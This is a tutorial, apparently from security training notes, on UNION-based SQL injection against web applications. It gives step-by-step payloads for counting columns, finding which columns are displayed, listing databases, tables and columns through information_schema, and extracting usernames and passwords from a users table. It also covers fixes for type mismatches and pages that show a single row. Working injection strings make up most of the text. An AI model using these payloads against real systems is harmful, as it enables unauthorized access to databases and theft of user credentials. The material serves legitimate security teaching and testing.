UNION is the heavyweight technique when you want to extract arbitrary data from a database — not just bypass a login, but actually dump tables. It works by appending a second SELECT to the original query.
How UNION Works
UNION combines results from two SELECT statements into one result set:
SELECT code, city FROM ports
UNION
SELECT ship, city FROM ships;Both tables appear in the output, stacked on top of each other.
Two Prerequisites
UNION fails unless:
- Equal column counts — both SELECTs must return the same number of columns
- Compatible data types — columns being unioned need compatible types (or
NULL, which fits everywhere)
So before dumping data, you need to figure out how many columns the original query returns and which positions get printed back to the page.
Step 1 — Count the Columns
Two methods:
Method A — ORDER BY (fast, needs error visibility)
' ORDER BY 1-- - → success
' ORDER BY 2-- - → success
' ORDER BY 3-- - → "Unknown column '3' in 'order clause'"The last successful number is your column count. Original query has 2 columns.
Keep going until you hit an error
Sometimes a column number past the real count still succeeds (no error visible). Keep incrementing until you get an unambiguous error or a visibly-different page.
Method B — UNION SELECT (works when errors are suppressed)
' UNION SELECT 1-- - → wrong column count
' UNION SELECT 1,2-- - → wrong column count
' UNION SELECT 1,2,3-- - → output appearsWhen you see your fake values (1, 2, 3) printed on the page or no error, you’ve matched the column count.
Step 2 — Find Displayed Columns
The query returns all N columns but the app may only print some. Test which positions are visible:
' UNION SELECT 1,2,3-- -If 2 and 3 appear on the page but not 1, put your real payload only in columns 2 and 3:
' UNION SELECT NULL, username, password FROM users-- -NULL is used for unused columns because it fits any data type.
Step 3 — Start Dumping
Now you can combine injection with any arbitrary SELECT:
-- version info
' UNION SELECT NULL, @@version, @@hostname-- -
-- list databases
' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata-- -
-- list tables in current DB
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database()-- -
-- list columns in users table
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -
-- extract credentials
' UNION SELECT NULL, username, password FROM users-- -Data Type Mismatch Errors
If you see “Illegal mix of collations” or “The used SELECT statements have a different number of columns” errors even after matching column count, you’ve got a type mismatch. Fixes:
- Replace the offending column with
NULL - Cast explicitly:
CAST(column AS CHAR),CONVERT(column, CHAR) - Try the other data direction: numeric column needs a numeric value in your UNION
Single-Row Interfaces
If the app only displays one row (e.g. a product page), your UNION rows won’t show because the original query’s row occupies the slot. Workaround — make the original return nothing so yours bubbles up:
-9999 UNION SELECT NULL, username, password FROM users-- -
' AND 1=2 UNION SELECT NULL, username, password FROM users-- -With AND 1=2, the original WHERE fails and only your UNION results come back.
